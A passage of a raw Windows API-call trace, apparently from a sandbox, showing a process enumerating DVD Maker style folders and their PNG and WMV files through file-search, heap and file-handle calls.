[0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1 [0070.399] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x0, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1 [0070.400] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0 [0070.400] GetLastError () returned 0x12 [0070.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.400] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0070.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0070.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.401] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0070.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.401] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0070.401] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0070.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa25480 [0070.401] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa25480, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa25480, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0070.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25480) returned 1 [0070.402] NtClose (Handle=0x170) returned 0x0 [0070.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.402] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0070.402] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.402] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0070.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f2c8 [0070.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa215a0 [0070.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.402] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0070.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f2e8 [0070.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa216a8 [0070.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.403] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0070.403] GetLastError () returned 0x12 [0070.403] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0070.403] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0070.403] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.403] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0070.403] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0070.403] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0 [0070.403] GetLastError () returned 0x12 [0070.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.403] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0070.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.404] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0070.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.404] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.404] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0070.404] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0070.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa25480 [0070.404] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa25480, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa25480, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0070.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25480) returned 1 [0070.404] NtClose (Handle=0x124) returned 0x0 [0070.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0070.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b90 [0070.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08c18 [0070.404] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0070.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0070.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b90) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f308 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa217b0 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1000) returned 0xa25480 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa204b8) returned 1 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f328 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa218b8 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.410] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f348 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa219c0 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f368 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21ac8 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 